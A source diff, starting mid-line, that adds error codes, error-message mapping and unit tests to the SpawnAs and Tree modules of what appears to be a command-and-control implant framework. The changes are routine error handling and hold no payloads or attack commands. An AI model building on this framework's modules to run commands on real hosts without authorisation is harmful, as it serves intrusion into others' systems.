errorMsg) == 0, "missing shell program should map error text"); + branchOk &= test_helpers::expect(errorMsg.find("Failed to start shell") != std::string::npos, "missing shell program should expose process error text"); ok &= branchOk; } #endif diff --git a/modules/SpawnAs/SpawnAs.cpp b/modules/SpawnAs/SpawnAs.cpp index 6100d48..74cb3cb 100644 --- a/modules/SpawnAs/SpawnAs.cpp +++ b/modules/SpawnAs/SpawnAs.cpp @@ -119,6 +119,14 @@ namespace constexpr std::string_view moduleName = "spawnAs"; constexpr unsigned long long moduleHash = djb2(moduleName); +namespace +{ + constexpr int ERROR_INVALID_PARAMETERS = 1; + constexpr int ERROR_MISSING_COMMAND = 2; + constexpr int ERROR_UNSUPPORTED_PLATFORM = 3; + constexpr int ERROR_PROCESS_CREATION = 4; +} + #ifdef _WIN32 @@ -417,6 +425,7 @@ int SpawnAs::process(C2Message &c2Message, C2Message &c2RetMessage) if (splitedList.size() < 3) { c2RetMessage.set_returnvalue("Invalid command parameters received.\n"); + c2RetMessage.set_errorCode(ERROR_INVALID_PARAMETERS); return -1; } @@ -431,6 +440,7 @@ int SpawnAs::process(C2Message &c2Message, C2Message &c2RetMessage) #ifdef __linux__ result = "Only supported on Windows.\n"; + c2RetMessage.set_errorCode(ERROR_UNSUPPORTED_PLATFORM); #elif _WIN32 @@ -442,6 +452,7 @@ int SpawnAs::process(C2Message &c2Message, C2Message &c2RetMessage) if (commandLineW.empty()) { c2RetMessage.set_returnvalue("Missing command to execute.\n"); + c2RetMessage.set_errorCode(ERROR_MISSING_COMMAND); return -1; } @@ -680,6 +691,7 @@ int SpawnAs::process(C2Message &c2Message, C2Message &c2RetMessage) c2RetMessage.set_instruction(c2RetMessage.instruction()); c2RetMessage.set_cmd(cmd); c2RetMessage.set_returnvalue(result); + c2RetMessage.set_errorCode(ERROR_PROCESS_CREATION); return 0; } diff --git a/modules/SpawnAs/tests/testsSpawnAs.cpp b/modules/SpawnAs/tests/testsSpawnAs.cpp index 5d7ebe5..2637d2e 100644 --- a/modules/SpawnAs/tests/testsSpawnAs.cpp +++ b/modules/SpawnAs/tests/testsSpawnAs.cpp @@ -57,5 +57,19 @@ int main() ok &= expect(module.init(cmd, message) == -1, "missing command should be rejected"); } + { + SpawnAs module; + C2Message message; + message.set_cmd("alice"); + C2Message ret; + + ok &= expect(module.process(message, ret) == -1, "invalid packed parameters should be rejected"); + ok &= expect(ret.errorCode() > 0, "invalid packed parameters should set an error code"); + ok &= expect(ret.returnvalue().find("Invalid command parameters") != std::string::npos, "invalid packed parameters should explain the error"); + std::string errorMsg; + ok &= expect(module.errorCodeToMsg(ret, errorMsg) == 0, "invalid packed parameters should map error text"); + ok &= expect(errorMsg == ret.returnvalue(), "invalid packed parameter error text should come from returnvalue"); + } + return ok ? 0 : 1; } diff --git a/modules/Tree/Tree.cpp b/modules/Tree/Tree.cpp index b6cf300..d5f0df0 100644 --- a/modules/Tree/Tree.cpp +++ b/modules/Tree/Tree.cpp @@ -14,6 +14,11 @@ using namespace std; constexpr std::string_view moduleName = "tree"; constexpr unsigned long long moduleHash = djb2(moduleName); +namespace +{ + constexpr int ERROR_TREE_DIRECTORY = 1; +} + #ifdef _WIN32 @@ -84,11 +89,26 @@ int Tree::process(C2Message &c2Message, C2Message &c2RetMessage) c2RetMessage.set_instruction(c2RetMessage.instruction()); c2RetMessage.set_cmd(path); + if (outCmd.find("Error:") == 0) + { + c2RetMessage.set_errorCode(ERROR_TREE_DIRECTORY); + } c2RetMessage.set_returnvalue(outCmd); return 0; } +int Tree::errorCodeToMsg(const C2Message &c2RetMessage, std::string &errorMsg) +{ +#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS) + if (c2RetMessage.errorCode() > 0) + { + errorMsg = c2RetMessage.returnvalue(); + } +#endif + return 0; +} + std::string Tree::iterProcess(const std::string& path, int depth) { @@ -104,6 +124,14 @@ std::string Tree::iterProcess(const std::string& path, int depth) actualPath=std::filesystem::current_path().string(); std::error_code e; + if (!std::filesystem::exists(actualPath, e)) + { + result += "Error: "; + result += e ? e.message() : "path does not exist"; + result += "\n"; + return result; + } + for (const filesystem::directory_entry& file : filesystem::directory_iterator(actualPath, e)) { try @@ -144,4 +172,4 @@ std::string Tree::iterProcess(const std::string& path, int depth) } return result; -} \ No newline at end of file +} diff --git a/modules/Tree/Tree.hpp b/modules/Tree/Tree.hpp index 72c8499..f937e83 100644 --- a/modules/Tree/Tree.hpp +++ b/modules/Tree/Tree.hpp @@ -14,6 +14,7 @@ public: int init(std::vector& splitedCmd, C2Message& c2Message); int process(C2Message& c2Message, C2Message& c2RetMessage); + int errorCodeToMsg(const C2Message& c2RetMessage, std::string& errorMsg) override; int osCompatibility() { return OS_LINUX | OS_WINDOWS; diff --git a/modules/Tree/tests/testsTree.cpp b/modules/Tree/tests/testsTree.cpp index 9b68904..8ad1fb5 100644 --- a/modules/Tree/tests/testsTree.cpp +++ b/modules/Tree/tests/testsTree.cpp @@ -79,7 +79,11 @@ bool testTree() tree->init(cmd, msg); msg.set_cmd(invalid.string()); tree->process(msg, ret); - ok &= ret.returnvalue().empty(); + std::string errorMsg; + tree->errorCodeToMsg(ret, errorMsg); + ok &= ret.errorCode() > 0; + ok &= ret.returnvalue().find("Error:") == 0; + ok &= errorMsg == ret.returnvalue(); } // ----- no argument -----